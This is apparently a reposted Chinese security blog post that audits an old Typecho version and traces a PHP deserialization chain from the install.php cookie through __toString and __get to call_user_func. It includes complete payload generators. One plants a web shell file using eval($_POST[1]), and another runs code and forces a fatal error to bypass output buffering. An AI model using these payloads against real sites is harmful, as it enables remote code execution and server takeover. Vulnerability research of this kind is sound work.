欢迎大家来到IT世界,在知识的湖畔探索吧!
原创: p0desta 合天智汇
虽然自己也水了些CVE,但是并没有自己满意的、漂亮的漏洞利用链,今天呢主要是自己还没审出过反序列化漏洞,所以找了typecho老版本来审一下。
正文
在install.php第246行会反序列化操作
$config = unserialize(base64_decode( Typecho_Cookie :: get ( '__typecho_config' ))); $type = explode( '_' , $config[ 'adapter' ]); $type = array_pop($type);
欢迎大家来到IT世界,在知识的湖畔探索吧!
进Typecho_Cookie类看一下get方法
欢迎大家来到IT世界,在知识的湖畔探索吧!
public
static
function
get
($key, $default = NULL)
{
$key =
self
::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return
$value;
}
这里很显然是一个获取值的。
继续看一下怎么进入到这个反序列化,这里php夹杂着html代码,不太方便看,我简单处理一下
首先
if
(!isset($_GET[
'finish'
]) && file_exists(__TYPECHO_ROOT_DIR__ .
'/config.inc.php'
) && empty($_SESSION[
'typecho'
])) {
exit
;
}
// 挡掉可能的跨站请求
if
(!empty($_GET) || !empty($_POST)) {
if
(empty($_SERVER[
'HTTP_REFERER'
])) {
exit
;
}
$parts = parse_url($_SERVER[
'HTTP_REFERER'
]);
if
(!empty($parts[
'port'
]) && $parts[
'port'
] !=
80
&& !
Typecho_Common
::isAppEngine()) {
$parts[
'host'
] =
"{$parts['host']}:{$parts['port']}"
;
}
if
(empty($parts[
'host'
]) || $_SERVER[
'HTTP_HOST'
] != $parts[
'host'
]) {
exit
;
}
}
这里是判断是否已经安装的,一般其他cms的写法是只判断是否已经存在了lock文件,但是这里有个可控参数,也就是我们还能进入这个install.php页面。
继续往下走,可以直接进入反序列化操作
这里还需要魔术方法,可以参考我总结的另外一篇文章 http://p0desta.com/2018/04/01/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%80%BB%E7%BB%93/
欢迎大家来到IT世界,在知识的湖畔探索吧!$config = unserialize(base64_decode( Typecho_Cookie :: get ( '__typecho_config' ))); Typecho_Cookie :: delete ( '__typecho_config' ); $db = new Typecho_Db ($config[ 'adapter' ], $config[ 'prefix' ]); $db->addServer($config, Typecho_Db ::READ | Typecho_Db ::WRITE); Typecho_Db :: set ($db);
这里我首先跟的是 $db->addServer,但是当我跟到 Config.php第62到81行的时候
public
function
setDefault($config, $replace =
false
)
{
if
(empty($config)) {
return
;
}
/** 初始化参数 */
if
(is_string($config)) {
parse_str($config, $params);
}
else
{
$params = $config;
}
/** 设置默认参数 */
foreach
($params
as
$name => $value) {
if
($replace || !array_key_exists($name, $this->_currentConfig)) {
$this->_currentConfig[$name] = $value;
}
}
}
只发现到这里如果类当做数组遍历的时候会触发 cureent方法,但是我全局搜 current方法并没有找到可以利用的地方。
然后继续跟一下
$db = new Typecho_Db ($config[ 'adapter' ], $config[ 'prefix' ]);
跟到 Db.php第114行到135行
public
function
__construct($adapterName, $prefix =
'typecho_'
)
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName =
'Typecho_Db_Adapter_'
. $adapterName;
if
(!call_user_func(array($adapterName,
'isAvailable'
))) {
throw
new
Typecho_Db_Exception
(
"Adapter {$adapterName} is not available"
);
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter =
new
$adapterName();
}
危险的地方在于
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
因为 $adapterName方法是可控的,被当做字符串拼接了,那么就会触发 toString方法,简化一下
<?php
class
p0desta{
function
__toString(){
echo
"p0desta"
;
return
"p0desta"
;
}
}
class
test{
private
$t;
function
__construct($s1){
$this->t = $s1;
$s1 =
"xxx"
.$s1;
}
}
$config =
new
p0desta();
$t2 =
new
test($config);
output:p0desta
那么全局搜一下toString找一下可以利用的地方
找到这个跟进去,这里看Feed.php第290行
$content .= '<dc:creator>' . htmlspecialchars($item[ 'author' ]->screenName) . '</dc:creator>' . self ::EOL;
读取不可访问属性的值时,get() 会被调用,那么只要item[‘author’]我们可控,那么就可以出发get()魔术方法。
通过全局搜素 __get()跟进/var/Typecho/Request.php,267行
public
function
__get($key)
{
return
$this->
get
($key);
}
继续看get方法
public
function
get
($key, $default = NULL)
{
switch
(
true
) {
case
isset($this->_params[$key]):
$value = $this->_params[$key];
break
;
case
isset(
self
::$_httpParams[$key]):
$value =
self
::$_httpParams[$key];
break
;
default
:
$value = $default;
break
;
}
$value = !is_array($value) && strlen($value) >
0
? $value : $default;
return
$this->_applyFilter($value);
}
接着调用了 _applyFilter方法,继续跟进
private
function
_applyFilter($value)
{
if
($this->_filter) {
foreach
($this->_filter
as
$filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return
$value;
}
call_user_func($filter,$value)看到这里,我们关心的事情就是怎么构造去触发任意代码执行了。
到这里我们来整理下攻击链
install.php->反序列化操作->跟进 Db .php->触发toString魔术方法->找到 Feed .php-> 触发 get 魔术方法->找到/ var / Typecho / Request .php->调用call_user_func
构造payload
<?php
class
Typecho_Feed
{
private
$_type;
private
$_items = array();
public
function
__construct()
{
$this->_type =
'RSS 2.0'
;
$this->_items[] = array(
"author"
=>
new
Typecho_Request
()
);
}
}
class
Typecho_Request
{
private
$_params = array();
private
$_filter = array();
public
function
__construct(){
$this->_params[
'screenName'
] =
'file_put_contents(\'shell.php\', \'<?php eval($_POST[1]);
?>\')';
$this->_filter[0] = "assert";
}
}
$p0desta = array(
"adapter"=>new Typecho_Feed,
"prefix"=>"typecho_"
);
var_dump(base64_encode(serialize($p0desta)));
一开始我直接构造getshell,并没有遇到什么问题,但是如果想讲执行结果输出出来就会遇到问题,问题产生的原因呢在于
install.php第54行 ob_start();
看一下手册
什么意思呢,这里我写个小demo来解释一下
<?php ob_start(); echo "1" ; ob_end_clean();
这个执行的话是不会有输出的, ob_start()激活了缓冲,输出结果会被写入到缓冲区,但是如果执行了 ob_end_clean函数就会把缓冲区的内容丢弃掉,那么也就没有输出了。
在Common.php第225行
set_exception_handler(array( 'Typecho_Common' , 'exceptionHandle' ));
设置了用户自定义的异常处理函数,当存在未捕获的异常时会调用,看一下定义测函数
public
static
function
exceptionHandle(
Exception
$exception)
{
@ob_end_clean
();
if
(
defined
(
'__TYPECHO_DEBUG__'
)) {
echo
'<h1>'
. $exception->getMessage() .
'</h1>'
;
echo nl2br($exception->__toString());
}
else
{
if
(
404
== $exception->getCode() && !empty(
self
::$exceptionHandle)) {
$handleClass =
self
::$exceptionHandle;
new
$handleClass($exception);
}
else
{
self
::error($exception);
}
}
exit
;
}
@ob_end_clean();显然,它清理了缓冲区。
这里因为payload使我们构造好带进去的,很难做到不触发异常,那么我们有什么办法来绕过呢
这里我想到的是让它执行完我们的命令之后引发个报错,看一下报错类型
Fatal Error :致命错误(脚本终止运行) E_ERROR // 致命的运行错误,错误无法恢复,暂停执行脚本 E_CORE_ERROR // PHP启动时初始化过程中的致命错误 E_COMPILE_ERROR // 编译时致命性错,就像由Zend脚本引擎生成了一个E_ERROR E_USER_ERROR // 自定义错误消息。像用PHP函数trigger_error(错误类型设置为:E_USER_ERROR) Parse Error :编译时解析错误,语法错误(脚本终止运行) E_PARSE //编译时的语法解析错误 Warning Error :警告错误(仅给出提示信息,脚本不终止运行) E_WARNING // 运行时警告 (非致命错误)。 E_CORE_WARNING // PHP初始化启动过程中发生的警告 (非致命错误) 。 E_COMPILE_WARNING // 编译警告 E_USER_WARNING // 用户产生的警告信息 Notice Error :通知错误(仅给出通知信息,脚本不终止运行) E_NOTICE // 运行时通知。表示脚本遇到可能会表现为错误的情况. E_USER_NOTICE // 用户产生的通知信息。
写个demo解释一下
<?php
class
a{
public
$c;
}
$t =
new
a();
echo $t[
'aaa'
];
看Feed.php第292-296行
if
(!empty($item[
'category'
]) && is_array($item[
'category'
])) {
foreach
($item[
'category'
]
as
$category) {
$content .=
'<category><![CDATA['
. $category[
'name'
] .
']]></category>'
.
self
::EOL;
}
}
那么我们就可以让其停止执行,这样的话就不会执行到 ob_end_clean函数了。
修改payload如下
<?php
class
Typecho_Feed
{
private
$_type;
private
$_items = array();
public
function
__construct()
{
$this->_type =
'RSS 2.0'
;
$this->_items[] = array(
"author"
=>
new
Typecho_Request
(),
"category"
=>array(
new
Typecho_Request
())
);
}
}
class
Typecho_Request
{
private
$_params = array();
private
$_filter = array();
public
function
__construct(){
$this->_params[
'screenName'
] =
'phpinfo();'
;
$this->_filter[] =
"assert"
;
}
}
$p0desta = array(
"adapter"
=>
new
Typecho_Feed
,
"prefix"
=>
"typecho_"
);
echo(base64_encode(serialize($p0desta)));
总结
总的利用链还是非常有意思的
install.php->反序列化操作->跟进 Db .php->触发toString魔术方法->找到 Feed .php-> 触发 get 魔术方法->找到/ var / Typecho / Request .php->调用call_user_func
有趣的攻击链总能引起研究的兴趣。
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://itzsg.com/31626.html